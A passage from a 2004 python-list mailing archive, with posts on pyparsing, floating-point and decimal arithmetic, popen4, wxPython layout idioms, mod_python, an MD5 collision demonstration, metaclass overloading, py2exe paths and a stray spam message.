ERROR: raise ServerReplyError() if packet_type <> expected: raise UnexpectedPacketError() c = PACKETS[packet_type](data) #PACKETS is a dict containing Classes #raise DataFormatError() expect TimeoutError: blabla expect FormatPacketError: blabla expect ChecksumError: blabla expect PacketNumberError: blabla expect UnexpectedPacketError: blabla expect ServerReplyError: blabla expect DataFormatError: blabla With this solution, I will get lost very soon. I feel that I would need a kind of State-Managing system/class that would keep track of the command processing in general. But I'm not grasping it. I'm conscious that by not knowing the total situation, it's difficult for anybody to help but any suggestion, recommendation would be much appreciated. Yannick From adalke at mindspring.com Tue Sep 21 01:25:23 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 05:25:23 GMT Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Message-ID: <7XO3d.6123$gG4.1618@newsread1.news.pas.earthlink.net> Clark C. Evans wrote: > Thank you for taking some serious time looking at PyYaml Well, in truth I was taking time to criticize the OP's advocacy and explain why we aren't "welcoming it with open arms". > YAML has at least two more years of work before it'd be > ready for even proposing that it be considered as a core library. Sounds about right. It'll take at least that long to get robust implementation and enough people using it to warrant inclusion. Best wishes, Andrew dalke at dalkescientific.com From lynn at garlic.com Fri Sep 3 17:24:46 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 15:24:46 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: Alan Balmer writes: > No, because they were *not* manufactured on the launch pad. > Transportation would be required from any other place - in Utah or > not. > > Even if they were manufactured on the launch pad, there would be more > than one piece. i have vague recollection of a picture of saturn v 1st stage being barged to florida ... having been built someplace in a single assemble ... and not requiring re-assemble in florida with gaskets. can you imagine it being built in sections that required meeting overland train transportion restrictions? ... not only would it have to be section in 40ft long pieces .... but probably each 40ft section would have to be cut into slivers since it would otherwise have too big/wide .... and then assembled with huge amounts of gaskets in florida ... not only around the circumference but huge amount of gaskets up and down its length. lets see what search engine comes up with for saturn v 1st stage reference ... aha ... it turns out that wikipedia is your friend http://en.wikipedia.org/wiki/Saturn_V#Stages fist stage: http://en.wikipedia.org/wiki/S-IC is 138ft ... about the same length as the assembled shuttle booster rocket ... but 33ft in diameter. can you imagine the saturn v first stage being built someplace in 40ft sections .... as well as down its length 40ft long section down the length ... sort of like a pie ... say 8ths ... what is the straight line between the end points for 1/8th arc of a 33ft diamter circle ... the circumference is a little over 103ft so 1/8th of that is about 13ft arc ... which would make the straight line for the end-points of the arc about 12ft .... which might just about fit overland train transportion restrictions. so saturn v first stage could be manufactored in 32 sections ... transported to florida by train and re-assembled with gaskets. saturn v second stage http://en.wikipedia.org/wiki/S-II doesn't give the dimensions ... picture seems to imply about the same circumference but not as long. saturn v third stage http://en.wikipedia.org/wiki/S-IVB -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From agriff at tin.it Sat Sep 4 02:05:39 2004 From: agriff at tin.it (Andrea Griffini) Date: Sat, 04 Sep 2004 06:05:39 GMT Subject: Basic tokenizer References: Message-ID: On Thu, 02 Sep 2004 13:02:09 GMT, "Paul McGuire" wrote: >I'd be interested in your feedback on this pyparsing example: >http://www.geocities.com/ptmcg/python/fourFn.py.txt > >(The "fourFn.py" title is a legacy - this now does 5-function arithmetic >plus trig functions.) pyparsing impressed me... but positively :-) I don't like the example you're talking about that much; first there are at least a couple of problems in the specific calculator logic... the solution found for "^" right-association is broken (try evaluating 2^3+4) and there is no provision for unary minus. The solution for "^" is however very simple; instead of using "expr" you can use as structure factor = Forward() factor << (atom + Optional( expop + factor )); Usually when I (hand) write a parser I've a single function for parsing all binary operations that reads from a table the operator and associativity. For left-association the rule is expr(n) = expr(n-1) + ZeroOrMore( op+expr(n-1) ) while for right-association is expr(n) = expr(n-1) + ZeroOrMore( op+expr(n) ) (in the latter ZeroOrMore could be Optional instead, but ZeroOrMore is fine anyway and that way the code is simpler). Also I don't like the idea of writing to the global exprstack and the way parsing expression is used (things like (lpar + expr + rpar).suppress() look really weird). The module seems to me very easy to use, however, and in little time and very few lines of code I was able to change fourFn to parse the five binary operations, unary minus, comparisions, the C++ "?:" ternary opertor, variable reading and writing (but with assignment being "statement" and not an operator like in python) and generating as output a list of opcodes for a stack based VM including jump codes for "?:" (and this without global variables, and so handling correctly the backtracking). I've yet to see how nicely is possible to handle error reporting (another no-brainer for hand-coded parsers); but so far I didn't read the documentation :-). Andrea From agriff at tin.it Mon Sep 20 02:06:23 2004 From: agriff at tin.it (Andrea Griffini) Date: Mon, 20 Sep 2004 06:06:23 GMT Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: <0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com> On Mon, 20 Sep 2004 01:07:03 -0400, Tim Peters wrote: >[Chris S.] >> Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this >> arithmetic is meant for. > >That's absurd. pi is 3, and nothing but grief comes from listening to >fancy-pants so-called "mathematicians" trying to convince you that >their inability to find integer results is an intellectual failing you >should share . This is from the Bible... 007:023 And he made a molten sea, ten cubits from the one brim to the other: it was round all about, and his height was five cubits: and a line of thirty cubits did compass it round about. So it's clear that pi must be 3 Andrea From programmer.py at gmail.com Mon Sep 13 08:56:21 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Mon, 13 Sep 2004 07:56:21 -0500 Subject: Python or 4NT? With a question or two about popen() In-Reply-To: <95c29a5e.0409121552.af6bdba@posting.google.com> References: <95c29a5e.0409121552.af6bdba@posting.google.com> Message-ID: At the risk of being labeled a heretic, I'm gonna suggest cygwin. In particular, the bash shell is really well suited for running "automated" CLI tests. Be aware though that bash syntax is really cryptic and if you don't use it a lot, you'll find yourself thumbing through the manual quiet a bit. If you do decide to do bash, do a google on "advanced bash tutorial". That ought to point you to a really nice tutorial. HTH, jw On 12 Sep 2004 16:52:51 -0700, Robin Siebler wrote: > I have a bunch of command line tests that I need to automate. I've > run into too many bugs with the default Win2k command shell, so I need > to either purchase 4NT or handle the logic and output processing with > Python. I'm looking for experiences, comments, problems, etc. > > Also, I'm trying to figure out how to use popen(). To say that the > documentation and expamples available for this is sparse would be the > understatment of the century! I know that I want to use popen4() but > what is the difference between os.popen4(), win32pipe.popen4() and > popen2.popen4()(did I miss any?)? > > And how, exactly, do I *use* popen4()? I figured out how to use > popen(), but I haven't been too successfull with popen(). A good > example would really come in handy! I have *5* Python books and not > one has an example for anything other than popen()! > > Robin L. Siebler > Software Test Engineer > PalmSource > --------------------------------------- > Homer Simpson: But every time I learn something new, it pushes out > something old! Remember that time I took a home wine-making course and > forgot how to drive? Marge: That's because you were drunk! Homer > Simpson: And how! > -- > http://mail.python.org/mailman/listinfo/python-list > From bokr at oz.net Sun Sep 26 00:15:57 2004 From: bokr at oz.net (Bengt Richter) Date: 26 Sep 2004 04:15:57 GMT Subject: up with PyGUI! References: <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> Message-ID: On 26 Sep 2004 02:31:33 GMT, "OKB (not okblacke)" wrote: >Ed Leafe wrote: > >> I am interested in any alternatives that would benefit our users; >> my curiosity is about the payoff for adopting an alternative >> approach such as yours. If such a payoff isn't there, I can't spend >> a lot of time pursuing it. That's why I'm constantly asking you to >> explain the benefit, not just the theory, behind this idea. > > Well, admittedly I've only begun doing this, but my idea is that >the benefit is in readability. Suppose your code is structured like >this: > >class frame(wxFrame): > def __init__(self, parent): > button1 = wxButton(parent=self, ...) > button2 = wxButton(parent=self...) > panel = wxPanel(parent=self...) > listBox1 = wxComboBox(parent=panel...) > listBox2 = wxComboBox(parent=panel...) > button3 = wxButton(parent=panel...) > text = wxTextCtrl(parent=panel...) > sizer1 = wxBoxSizer(...) > sizer1.Add(listBox1) > sizer1.Add(listBox2) > sizer1.Add(button3) > sizer1.Add(text) > panel.SetSizer(sizer1) > sizer2 = wxBoxSizer(...) > sizer2.Add(button1) > sizer2.Add(button2) > sizer2.Add(panel) > self.SetSizer(sizer2) > # etc. >### > > How am I supposed to know, just by looking at that, which >controls are in which sizers and what the relationship is between the >two sizers? I have to visually parse every single line -- not just the >creation of each widget, but also the line that adds it to a sizer. And >there could easily be an inconsistency -- you might accidentally give a >widget a parent that's inconsistent with the sizer you add it to. With >a nested structure it becomes clear: > >class frame(wxFrame): > class sizer1(wxBoxSizer): > class button1(wxButton): > # name, size, etc. > class button2(wxButton): > # etc. > class panel(wxPanel): > class sizer2(wxBoxSizer): > class listBox1(wxComboBox): # etc. > class listBox2(wxComboBox): # etc. > class button3(wxButton): # etc. > class text(wxTextCtrl): # etc. > I could see a way to write this in terms of instances. Also playing a trick so that keyword arg CC=True would return a custom class instead of an instance, for repeated use of a particular customization: CustButtton = Button(CC=True, bgcolor='lightgreen', namefmt='cbtn%s', nextnameno=100) CustistBox = ListBox(CC=True, kind=ListBox.DROPDOWN, width=40, maxdrop=10) # default namefmt is cls.__name__+'%s' myFrame = ( Frame( Sizer( CustButton(size= ... etc), CustButton(size= ... etc), Panel( Sizer( CustListBox(etc), CustListBox(etc), CustButton(etc), Text( etc ) ) ) ) ) ) IOW, an *args tuple of child instances is passed to each constructor, and the whole thing would make a tree of instances. To make customized instances from the same custom class, I thought to make the base classes return custome classes with class variables preset per keyword args in the case where there is a CC=True keyword arg. Some thought is required to make this support whole custom subtrees... ... # attribute access could be hacked to allow access to the tree in terms of attribute paths naming supplied or auto-generated names, e.g., myFrame.frame1.sizer1.cbtn101.text='Hi' # (default names except CustButtons) > Now, I can see your point: this does amount to essentially an abuse >of the "class" keyword. But to me this is a small price to pay for the >increase in readability and the reduction in redundancy. Why should I >have to separately specify that: a) a certain widget is being created; >b) it has a certain parent; c) it goes in a certain sizer; c) that sizer >goes in the parent widget? I regard these all as essentially >restatements of a single overall fact about the widget's position in the >interface. > > So, yes, this is a very unusual use for the word "class". But the >point here is not the keywords being used. The idea is to have the >structure of the GUI reflected clearly in the layout of the code. If >Python's syntax were more flexible, this could perhaps be done in other >ways -- I'm not saying I want that -- but as it is the only real way to >construct nested structures in Python is with class definitions. You don't mean that ("...only real way...") as broadly as it sounds, do you? Regards, Bengt Richter From primz at bigpond.com Wed Sep 1 00:56:35 2004 From: primz at bigpond.com (Nick) Date: Wed, 01 Sep 2004 04:56:35 GMT Subject: Debunking Art - fraudster with python AI engine? References: <4128f60b$1@news.unimelb.edu.au> <4133ff91$1@news.unimelb.edu.au> Message-ID: <4135567e$1@news.unimelb.edu.au> "Chris S." wrote in message news:<4133ff91$1 at news.unimelb.edu.au>... > Nick wrote: > > > Naturally, I find it hard to believe he has picked up on natural > > language processing and the other various skills required to write AI > > engines in that time. My guess is he has a python AIML interpreter, > > and he's found a default "brain" somewhere and tweaked it with some of > > his own stuff in order to pass it off as his own. > > So what's the problem? You make it sound like he *must* be plagerizing > someone else's work, but PyAIML is for creating just such an interface. > There are even free brains available. Considering the term "AI engine" > has no official meaning, a shell powered by an AIML interpreter could > easily be one of many possible solutions to such a setup. > Well, if I were using a cryptographic library, I wouldn't dare claim I were a cryptographer. I may say that I had written an application that uses a third party cryptographic component... I think in this context he is using the fact that the chances of a technical person questioning his work are extremely slim. [ comp.ai is moderated. To submit, just post and be patient, or if ] [ that fails mail your article to , and ] [ ask your news administrator to fix the problems with your system. ] From __peter__ at web.de Sat Sep 18 13:29:47 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 19:29:47 +0200 Subject: Math errors in python References: Message-ID: Radioactive Man wrote: > thing would happen. Any suggestions for a way to fix this sort of > error? Starting with Python 2.4 there will be the 'decimal' module supporting "arithmetic the way you know it": >>> from decimal import * >>> Decimal("12.10") + Decimal("8.30") Decimal("20.40") >>> Decimal("1.1") - Decimal("0.2") Decimal("0.9") >>> Decimal("130.0")-Decimal("129.0") == Decimal("1.0") True >>> a, b, c = map(Decimal, "0.013 0.0129 0.0001".split()) >>> a, b, c (Decimal("0.013"), Decimal("0.0129"), Decimal("0.0001")) >>> (a-b) == c True Peter From mark at prothon.org Wed Sep 1 15:58:06 2004 From: mark at prothon.org (Mark Hahn) Date: Wed, 1 Sep 2004 12:58:06 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> Message-ID: <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote: > Some questions... > > o How "Python-like" is your new language ? The list is long but things like it's simple syntax, modules, generator expressions, etc. > o How does it differ from Mark Hammond's Python for .NET ? Totally different. > o How does it differ from Jim Hugunin's IronPython ? IronPython is an implementation of the compatible current Python on .Net except for the libraries. PyCs is more like Python 3000 in that it is incompatible, with advanced Python features. The advanced features are from Prothon (mostly fixes of Python gotcha's) and from C-Omega. > o You say "PyCs is the first dynamic language to have all the > capabilities of C# and PyCs can be programmed quickly and easily in an > interactive way like its predecessor Python." When I have Python, tell > me what other "dynamic" features does PyCS add? Anyway Python is > already dynamic, interactive and all that. Yes Python is already dynamic. The sentence you quote is saying that PyCs is the first dynamic version of C#. I admit I need to work on my marketing skills. PyCs is just Python extended to include the features from C# that improve Python. In doing so it also gives people from the C# world their first dynamic version of C#. It is a fusion of the two. It turns out they had a lot of overlap to begin with. They both have many similarities. The have identical for-in constructs, lists, dictionaries, etc. > o What all features do you plan to borrow from C Sharp? In other > words, is this C# on Python or Python on C# ? It is both. To see the feature list go to out wiki: http://pycs.org/wiki. > o Why do you need another language just to have the SQL/XML features > of some X#? Why not just add it as an optimizing module like Psyco > does ? If you read the paper you will see the cool features of X# are only available when built into the language. And they ARE really cool. > o You say PyCS is not compatible with Python, yet Python and C# code > can be > ported to it. Why in the world should I decide to do something like > that, if > my Python and C# code works well enough for me? What *new* thing > does PyCS > bring in? PyCs brings in a lot of new things. It fixes most of the well-known gotcha's of Python. It adds features from C-Omega. I have no idea why you personally would switch. That is a decision you will have to make. > o PyCS is basd on Prothon. Prothon, never completed was Prototypes + > Python. > PyCS is Python + CSharp, but not compatible with Python. ..... To me > it looks > like the one thing PyCS borrowed from Python is the "Py" prefix, > nothing else. Prothon was a lot more than Python plus prototypes. The wiki has a list of what comes from Python, Prothon, and C-Omega. > o PyCS is called Pisces... Now it is pixie... > Excuse me, are we talking of magical pixie-dust here? I don't understand the question. Is this just degenerating into name-calling here? > o Quoting from your website, "We had a tough challenge with Prothon, a > prototype-based language, being implemented on top of Python", yet you > say that Prothon is incompatible with Python. Help me, I am confused > here. I shouldn't have said "on top of". That is incorrect. I'm sorry for the confusion. Even if we did implement it on top of Python I don't see why that would make you think it should be compatible though. From sex at rambler.ru Fri Sep 24 19:41:37 2004 From: sex at rambler.ru (sex at rambler.ru) Date: Fri, 24 Sep 2004 19:41:37 -0400 Subject: =?iso-8859-1?q?Macco=E2=FBe_email_pacc=FB=EBk=E8_N9?= Message-ID: <000901c49e1f$58f9fc8e$17400019@ukrzmal> Macco??e Email pacc??k? ! ??c?po, ka?ec??e??o, ?a?e??o ! _________________________ ???. 8-905-203-90-72 Email: mikelpr at ua.fm ICQ# 144472 Microsoft Outlook Express 6.00.2462.0000 Your mail is python-list at python.org Anibal Colvin i to action From steve at holdenweb.com Sun Sep 26 20:48:00 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 20:48:00 -0400 Subject: Mod_Python apache question. In-Reply-To: <30875970.0409221441.1a95eac5@posting.google.com> References: <30875970.0409221441.1a95eac5@posting.google.com> Message-ID: Ian Pellew wrote: > Hi all; > > Am I correct in thinking that Mod_Python simply executes Python > scripts from the server side using an internal Apache python engine? > Well, it's a bit more complex than that, because mod-python allows a single Apache instance to run many instances of the Python interpreter, so that several different areas of the web can have independent Python namespaces, module lists, and so on. > Can a web page have Python script embedded in it like Java as well? > On the server side, that depends on the handler. Mod_python lets you install your own handlers, and provides a couple to get you started: PSP allows you to embed Python in your server-side content and have it executed during the generation of the content on the server. On the client, well, that depends on the client. Technically it's possible to deliver cient-side Python to the browser in a similar way to the way Java applets are delivered, but in practice that requires Python support on the desktop client machine running the browser. This is, sadly, far less widespread that the Java virtual machine that supports Java applet execution. Mark Hammond's win32all module does allow you to do this, but for quite a while now you've had to explicitly enable it due to the security risks it brings with it, I believe. regards Steve From tim.peters at gmail.com Sun Sep 12 12:29:06 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 12 Sep 2004 12:29:06 -0400 Subject: MD5 and SHA cracked/broken... In-Reply-To: References: <7xacvwn01v.fsf@ruckus.brouhaha.com> Message-ID: <1f7befae04091209296e5c4b48@mail.gmail.com> [Paul Rubin] >> MD5 and SHA-0 had collisions found. [GomoX Gonzalo Sainz-Tr?paga] > I don't think so. Would you mind posting a link? Here's an MD5 collision demonstrated in Python. I derived this code from the paper at http://eprint.iacr.org/2004/199.pdf import md5 S = ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=\x9a\x06\x98\xaf\xf9\\' '/\xca\xb5\x87\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%qAZ\x08Q%\xe8\xf7' '\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x807<[\x96\x0b\x1d\xd1' '\xdcA{\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9a\xc7\xf0\xeb' '\xfd\x0c0)\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"' '\xe8\xad\xbay\xcc\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1' '\x9b\n\xd85\xcc\xa7\xe3') T = ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=\x9a\x06\x98\xaf\xf9\\' '/\xca\xb5\x07\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%\xf1AZ\x08Q%\xe8\xf7' '\xcd\xc9\x9f\xd9\x1d\xbdr\x807<[\x96\x0b\x1d\xd1\xdcA{' '\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9aG\xf0\xeb\xfd\x0c0)' '\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"\xe8\xad\xbayL' '\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1\x9b\nX5\xcc\xa7\xe3') assert S != T print md5.new(S).hexdigest() print md5.new(T).hexdigest() print "oops" From len-1 at telus.net Mon Sep 27 23:07:06 2004 From: len-1 at telus.net (Lenard Lindstrom) Date: Tue, 28 Sep 2004 03:07:06 GMT Subject: Metaclass with name overloading. References: <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: Carlos Ribeiro writes: > On Mon, 27 Sep 2004 21:23:14 GMT, Lenard Lindstrom wrote: > > Carlos Ribeiro writes: > > > > > > The problem is that the methods were not bound to the instance. Adding > > > individual names to each method won't work, because it'll not bind the > > > references stored in the overload_list. I thought about using a > > > closure or curry type of solution, but that's something that I still > > > don't understand very well. Any tips? > > > > > Here is my take on decorator overloaded. I implement OverloadedFunction > > as a descriptor. It supports method binding. > > That's what I was missing. I've read about descriptors last week, but > didn't had the time to get a hand at it. It's interesting. My > development machine is still using 2.3 -- I don't know if this > descriptor fancy stuff would work here... *btw, that's why my original > snippet didn't use the new syntax to call the decorator). > Descriptors were introduced in 2.2. This version works with 2.2 and up. The previous example only worked with the new decorator syntax. import sys class OverloadedFunction(object): class BoundMethod: def __init__(self, functions, instance, owner): self.bm_functions = functions self.bm_instance = instance self.bm_owner = owner def __getitem__(self, index): return self.bm_functions[index].__get__(self.bm_instance, self.bm_owner) def __init__(self, functions): self.of_functions = functions def __get__(self, instance, owner): return self.BoundMethod(self.of_functions, instance, owner) def overloaded(func): listattr = '_%s_functions_' % func.__name__ attrs = sys._getframe(1).f_locals try: functions = attrs[listattr] functions.append(func) except KeyError: functions = [func] attrs[listattr] = functions return OverloadedFunction(functions) # Test case: class blob: def __init__(self, member): self.member = member def f(self): return "f 0: member=%s" % self.member f = overloaded(f) def f(self, s): return "f 1: member=%s, s=%s" % (self.member, s) f = overloaded(f) b=blob("XXX") print b.f[0]() print b.f[1]("Yet another f") > I think that this code is now Cookbook-ready. Any comments? > Unfortunately it does not work as is with the staticmethod and classmethod wrappers since these do not define either a __name__ or fn_name attribute. And it takes an extra bit of convolution to get at the functions wrappered by these objects. There are more callables in Python than your philosophy can imagine. And each requires its own kind of introspection. Lenard Lindstrom From greg at cosc.canterbury.ac.nz Wed Sep 29 23:22:04 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 30 Sep 2004 15:22:04 +1200 Subject: Unexpected Python Behavior In-Reply-To: <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> Message-ID: <2s1cetF1emgg9U1@uni-berlin.de> Alex Martelli wrote: > I think it's in fact very nice syntax: > > def f(x, cache=[]): > if x in cache: ... No, it's not, because it suggests that cache is intended to be an optional parameter, whereas it probably isn't. This is a hack. Don't do it. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From kevino at tulane.edu Sat Sep 11 13:18:02 2004 From: kevino at tulane.edu (Kevin Ollivier) Date: Sat, 11 Sep 2004 10:18:02 -0700 Subject: WxInter References: <16705.47355.109973.263814@montanaro.dyndns.org> Message-ID: On Fri, 10 Sep 2004 10:37:46 -0500, Skip Montanaro wrote: > Tom> It seems that the thing that people like about Tk is the Canvas > Tom> object has anyone tried the wxFloatCanvas as a replacement. > > >> Where is it? > > Michael> http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html > >Ah, thanks. Looking quickly at that I didn't see anything like Tk's tag >capability. Compare the above with > > http://epydoc.sourceforge.net/stdlib/public/Tkinter.Canvas-class.html > >Note all the tag manipulation stuff. Where can I find some real world examples of how this class and these tags are used? Are they basically vector shapes that can have their Z-Order changed (i.e. they are layered), or is there something else I'm missing here? I'll see if we can do something about getting this added into wx. (If someone hasn't already coded up a solution.) It certainly seems like there's some agreement that this is the core functionality that TkInter has that keeps some people from using wx. ;-) Thanks, Kevin From abra9823 at mail.usyd.edu.au Wed Sep 22 05:15:35 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 22 Sep 2004 19:15:35 +1000 Subject: binding to localhost - slightly OT Message-ID: <1095844535.415142b79fb04@www-mail.usyd.edu.au> hi! I am making the following call on my PDA which has WLAN connectivity >>>import socket >>>socket.gethostbyname(socket.gethostname()) this prints 127.0.0.1 the PDA has an assigned IP address. so if i go UDPserversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) UDPserversocket.bind((socket.gethostname(), LOCAL_SERVER_PORT)) this binds to the localhost instead of the assigned IP address. how can i get it to bind to the assigned IP? i dont want to explicitly enter the IP address into the bind call, since the IP may change. thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From ohyvarin at cc.helsinki.fi Wed Sep 15 04:06:39 2004 From: ohyvarin at cc.helsinki.fi (Otto T Hyvarinen) Date: 15 Sep 2004 08:06:39 GMT Subject: IDLE vs. the command line? Message-ID: We have this big Python program, developed by another institute, that uses C extensions a lot. One of those C methods does the segmentation fault when run from the command line, but _not_ when run from the IDLE. This is quite strange. What is different when a program is run in IDLE? Or is there no difference and our case is just a fluke? Or should I update my Python knowledge (and how)? If we can tell something about this in our bug report, the developers would probably be grateful. We are using Mandrake 9.2 and Python 2.3. The program is developed in Python 2.2.*. Regards, Otto Hyv?rinen From michael at hobbshouse.org Fri Sep 10 14:48:41 2004 From: michael at hobbshouse.org (Michael Hobbs) Date: Fri, 10 Sep 2004 13:48:41 -0500 (CDT) Subject: Microthreads without Stackless? Message-ID: <29786.209.46.8.140.1094842121.squirrel@mail.hobbshouse.org> Does anyone know of an existing package that provides microthreads, other than Stackless Python? I would like to be able to provide microthreads in my Candygram package, but I'm not interested in Stackless (for various reasons). In theory, it should be fairly straightforward to do preemptive microthreading using a combination of generators and a separate IO thread. The IO thread would poll for pending IO events and also periodically call thread.interrupt_main() to preempt the current generator. The devil, however, is in the scheduler's details. I am therefore hoping that someone else has already gone through those details and created a package. Anyone heard of such a thing? Thanks, - Mike P.S. The Candygram package is an implementation of Erlang concurrency primitives within Python. http://candygram.sourceforge.net From mwh at python.net Sat Sep 4 08:35:25 2004 From: mwh at python.net (Michael Hudson) Date: Sat, 4 Sep 2004 12:35:25 GMT Subject: extending python References: Message-ID: Ajay writes: > hi! > > i have written simple C file and am now trying to call it from Python > the file is pasted below. > I can compile it to testdll.dll but when i call it from Python, i get an > import error: No module named testdll How are you compiling it? Where is the DLL? Cheers, mwh -- : exploding like a turd Never had that happen to me, I have to admit. They do that often in your world? -- Eric The Read & Dave Brown, asr From jfabiani at yolo.com Fri Sep 17 10:25:58 2004 From: jfabiani at yolo.com (John Fabiani) Date: Fri, 17 Sep 2004 14:25:58 GMT Subject: gui - wait for dialog to close References: Message-ID: Ajay wrote: > hi! > > i have an application which requires a username > what i am trying to do is when the application runs, a dialog window > appears which prompts the user for his name. once thats entered, the > dialog box is destroyed, the username stored and the application gui is > drawn > > i tried doing this by adding a wait_window call in my application GUI's > init. > the idea was to suspend execution till the username is entered and the > dialog box destroyed before continuing. > > that didn't work > how can i do this? i have the option of creating the dialog box and when > the username is entered then in the function that handles the username, > create the rest of the GUI. i was wondering if there is any other way > > thanks > > cheers > > > > > ---------------------------------------------------------------- > This message was sent using IMP, the Internet Messaging Program. You did not state which GUI lib you are using. But in general you use a modal dialog for that type of input. Before you delete the dialog read the fields in the dialog. John From albalmer at att.net Thu Sep 2 16:21:07 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 13:21:07 -0700 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> <1094153294.416994@teapot.planet.gong> Message-ID: On Thu, 02 Sep 2004 20:28:16 +0100, Rupert Pigott wrote: >Alan Balmer wrote: > >> Huh? Linux is only recently paying some attention to the POSIX >> standards. I don't know the current level of compliance, though I'm > >Nah, that's been going on since at least 1994 when I installed it. > That's what I mean - it's been (and is still) "going on." It ain't soup yet., and only recently (imo) has it been taken seriously. I think pthreads were the defining point for me. It is certainly not the case that Linux was written by following the POSIX "recipe." >> pretty sure that some parts of POSIX.4 have been implemented. > >God only knows, as long as it works I'm not complaining. :) > >Cheers, >Rupert -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From David Tue Sep 7 21:55:42 2004 From: David (David) Date: Tue, 07 Sep 2004 19:55:42 -0600 Subject: In search of idiom in py2exe Message-ID: In many of my scripts I've used the following idiom for accessing data files placed nearby: BASEDIR = os.path.dirname(__file__) . . . fp = file(os.path.join(BASEDIR,"somefile.txt")) . . . img = image.open(os.path.join(BASEDIR,"images","someimage.jpg")) This works well with my cohorts who place their work on different drives, in different directories, etc. However, when I use py2exe to make an executable, the name '__file__' is not defined. Can anyone recommend an idiom that will work with py2exe? Thanks in advance, Dave M. P.S. -- We've also tried the idiom BASEDIR = os.path.dirname(sys.argv[0]) but the result can be misleading, for example, if the script is launched from a desktop shortcut. From duncan.booth at invalid.invalid Wed Sep 29 04:45:38 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 29 Sep 2004 08:45:38 GMT Subject: all pairs of items in a list without indexing? References: Message-ID: Michael Sparks wrote: > This is what was asked for: > > # Given a list l which we want all pairs: >>>> l=[1,2,3,4,5] >>>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if >>>> x!=y] > [(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, > 3), (5, 4)] The same thing can be written slightly more succinctly as: >>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y+1,len(l))] [(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, 3), (5, 4)] From http Thu Sep 23 05:36:23 2004 From: http (Paul Rubin) Date: 23 Sep 2004 02:36:23 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> Message-ID: <7xzn3hcoo8.fsf@ruckus.brouhaha.com> David O'Farrell writes: > Is this only on solaris ? No, it's inherent in how floating point conversions work. It happens on all IEEE 754 machines. You don't need that fancy list-append stuff to see it happen. Just type >>> 66.6 66.599999999999994 From theller at python.net Wed Sep 8 10:08:20 2004 From: theller at python.net (Thomas Heller) Date: Wed, 08 Sep 2004 16:08:20 +0200 Subject: *.pyc files without using absolute path References: Message-ID: Alexander Hoffmann writes: > Hello, > > I have a project with a number of python modules, which means there are > several *.py files all in the same folder /usr/local/myproject/*.py . > I 